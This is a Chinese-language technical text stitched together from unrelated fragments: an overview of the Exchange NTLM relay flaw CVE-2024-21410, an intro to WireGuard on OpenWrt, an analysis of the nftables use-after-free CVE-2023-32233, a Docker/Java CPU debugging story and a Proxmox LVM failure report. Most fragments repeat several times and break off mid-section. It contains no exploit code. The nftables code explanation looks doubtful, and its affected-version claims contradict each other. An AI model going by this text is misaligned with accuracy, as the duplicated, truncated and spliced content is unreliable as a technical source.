NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

最近研究了 CVE-2023-32233，这是一个影响 Linux 6.3 及之前版本 的 UAF（Use-After-Free） 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件，因此该漏洞的影响范围较广，攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。

1. 漏洞背景

1.1 Netfilter 与 nftables 简介

Netfilter 是 Linux 内核防火墙的核心组件，而 nftables 作为 iptables 的替代方案，被广泛应用于防火墙、流量过滤和 NAT 规则管理。

该漏洞出现在 nftables 代码逻辑中，攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构，导致堆内存覆盖，最终实现提权。

1.2 影响范围

受影响的内核版本：

• Linux 5.13 - 6.3
• Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启 nftables 的系统

2. 漏洞分析

2.1 代码成因

漏洞的核心问题在于 nft_set_elem 结构释放后，仍然被访问：

static void nft_setelem_activate(const struct nft_ctx *ctx,
				 struct nft_set *set,
				 struct nft_set_elem *elem)
{
	if (nft_set_elem_is_active(set, elem))
		return;

	elem->priv = nft_trans_elem(ctx->tx);
}

在 nft_setelem_activate() 中，elem->priv 被赋值为 nft_trans_elem(ctx->tx)，但 elem 可能已经被释放，这样攻击者就能劫持 priv 指针，导致UAF 访问。

这周遇到了一个有意思的问题：一个运行了大半年的 Docker 容器突然 CPU 占用飙升到 90% 以上。本以为是个简单的问题，结果排查下来却发现了一些有趣的细节，在这里和大家分享下。

问题现象

事情是这样的：周三早上收到监控报警，说是测试环境的一个 Docker 容器 CPU 使用率异常。登上去一看，好家伙，CPU 稳定在 95% 左右。这个容器跑的是我们的 Java 后端服务，平时 CPU 也就 20%-30%，这次直接起飞了。

排查过程

首先用 top 命令看了下进程状态，发现是 Java 进程占用 CPU 特别高。第一反应是不是发生了内存泄漏，导致频繁 GC。

# 查看具体线程情况
top -Hp <pid>

通过这个命令发现，CPU 主要被一个线程占用。接着用 jstack 导出了线程栈：

jstack <pid> > thread_dump.txt

查看线程栈时发现了问题所在：有一个处理缓存的线程在疯狂执行本地缓存的过期检查，而且是在死循环里。

深入代码一看，原来是前段时间为了优化缓存，加了个本地缓存的二级缓存机制。但是在设置缓存过期时间的地方，单位用错了 - 把分钟写成了毫秒。导致缓存项在创建后立即就过期了，然后触发重新加载，形成了恶性循环。

解决方案

1. 紧急修复：先把时间单位改对
2. 增加了缓存相关的监控指标
3. 在代码里加了单位转换的工具类，避免手写时间单位转换

教训总结

1. 时间单位这种细节真的很容易出问题，特别是在多人协作的项目中
2. 本地缓存虽然能提升性能，但如果处理不当反而会造成更大的问题
3. 监控报警体系很重要，要不是有监控，可能到用户反馈系统慢了才会发现

后续改进

这次事件后，我们还做了一些改进：

1. 在代码规范中明确要求使用 TimeUnit 来处理时间单位
2. 为所有缓存模块添加了更细粒度的监控
3. 写了一个缓存性能测试套件，确保缓存模块在各种场景下的表现

说实话这个问题虽然看起来很低级，但确实让我对缓存的实现细节有了更深的认识。也再次证明了，在性能优化时，我们不能只关注优化本身，还要考虑可能带来的副作用。

另外推荐一个命令行工具 arthas，它对排查 Java 应用问题特别有帮助，比普通的 jstack、jmap 要强大得多。有兴趣的同学可以去看看。

每次遇到这种问题都是既烦恼又庆幸：烦恼是debug花了不少时间，庆幸是每次都能学到新东西。

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

这周遇到了一个有意思的问题：一个运行了大半年的 Docker 容器突然 CPU 占用飙升到 90% 以上。本以为是个简单的问题，结果排查下来却发现了一些有趣的细节，在这里和大家分享下。

问题现象

事情是这样的：周三早上收到监控报警，说是测试环境的一个 Docker 容器 CPU 使用率异常。登上去一看，好家伙，CPU 稳定在 95% 左右。这个容器跑的是我们的 Java 后端服务，平时 CPU 也就 20%-30%，这次直接起飞了。

排查过程

首先用 top 命令看了下进程状态，发现是 Java 进程占用 CPU 特别高。第一反应是不是发生了内存泄漏，导致频繁 GC。

# 查看具体线程情况
top -Hp <pid>

通过这个命令发现，CPU 主要被一个线程占用。接着用 jstack 导出了线程栈：

jstack <pid> > thread_dump.txt

查看线程栈时发现了问题所在：有一个处理缓存的线程在疯狂执行本地缓存的过期检查，而且是在死循环里。

深入代码一看，原来是前段时间为了优化缓存，加了个本地缓存的二级缓存机制。但是在设置缓存过期时间的地方，单位用错了 - 把分钟写成了毫秒。导致缓存项在创建后立即就过期了，然后触发重新加载，形成了恶性循环。

解决方案

1. 紧急修复：先把时间单位改对
2. 增加了缓存相关的监控指标
3. 在代码里加了单位转换的工具类，避免手写时间单位转换

教训总结

1. 时间单位这种细节真的很容易出问题，特别是在多人协作的项目中
2. 本地缓存虽然能提升性能，但如果处理不当反而会造成更大的问题
3. 监控报警体系很重要，要不是有监控，可能到用户反馈系统慢了才会发现

后续改进

这次事件后，我们还做了一些改进：

1. 在代码规范中明确要求使用 TimeUnit 来处理时间单位
2. 为所有缓存模块添加了更细粒度的监控
3. 写了一个缓存性能测试套件，确保缓存模块在各种场景下的表现

说实话这个问题虽然看起来很低级，但确实让我对缓存的实现细节有了更深的认识。也再次证明了，在性能优化时，我们不能只关注优化本身，还要考虑可能带来的副作用。

另外推荐一个命令行工具 arthas，它对排查 Java 应用问题特别有帮助，比普通的 jstack、jmap 要强大得多。有兴趣的同学可以去看看。

每次遇到这种问题都是既烦恼又庆幸：烦恼是debug花了不少时间，庆幸是每次都能学到新东西。

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 导言：OpenWrt 与 WireGuard 的应用价值

OpenWrt 作为一款功能丰富的 Linux 发行版，常被应用于路由器设备，赋予其高度的定制化能力。在构建安全网络环境方面，OpenWrt 亦能发挥重要作用。WireGuard，作为一种新兴的 VPN 协议，以其效率、安全性和相对简易的配置，受到越来越多的关注。

在 OpenWrt 路由器上部署 WireGuard VPN 服务器，可以将两者的优势相结合，为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨，并对性能优化方面进行一些分析。

2. WireGuard 在 OpenWrt 中的应用优势

选择在 OpenWrt 上部署 WireGuard VPN 服务器，可能具备以下几点优势：

• 性能表现: WireGuard 协议在性能方面通常表现良好，其加密算法和内核实现均较为高效，相较于部分传统 VPN 协议，或能在吞吐量和延迟方面提供更优的结果，这在资源相对有限的路由器设备上可能更具优势。
• 安全性: WireGuard 采用了现代加密技术，理论上具备较高的安全强度，能够为数据传输提供安全保障。
• 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议，通常更为简洁，配置参数较少，或能降低配置复杂度和出错概率。
• OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持，内核模块和用户工具均可在 OpenWrt 软件包仓库中获取，安装和配置较为便利。
• OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性，用户可以根据实际需求对 WireGuard 进行定制配置，并能与 OpenWrt 提供的其他功能模块协同工作，构建功能相对完善的 VPN 网关。

3. 环境准备：OpenWrt 路由器与必要条件

在开始配置 WireGuard VPN 服务器之前，请确保已满足以下条件：

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

为进一步诊断故障，登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:

root@pve:~# pvesm status
Name           Type    Status   Total            Used      Available       %
local          dir     active   101989376       8178896       93810480    8.02%
local-lvm      lvm     inactive 255789056      2841728      252947328    1.11%

随后，利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态，发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组，系统返回错误信息： “Volume group vg0 metadata corrupted”。

1. 故障概述：PVE 存储池状态异常

近期，我们维护的 Proxmox VE (PVE) 集群中，一台服务器的存储系统出现异常。监控系统显示，local-lvm 存储池 IO 延迟显著升高，部分虚拟机响应缓慢直至停止工作。经初步排查，确认 local-lvm 存储池状态变为 inactive。

在 PVE Web 界面中，存储状态信息显示 local-lvm 处于非激活状态。

2. 故障诊断：LVM 卷组 Metadata 损坏

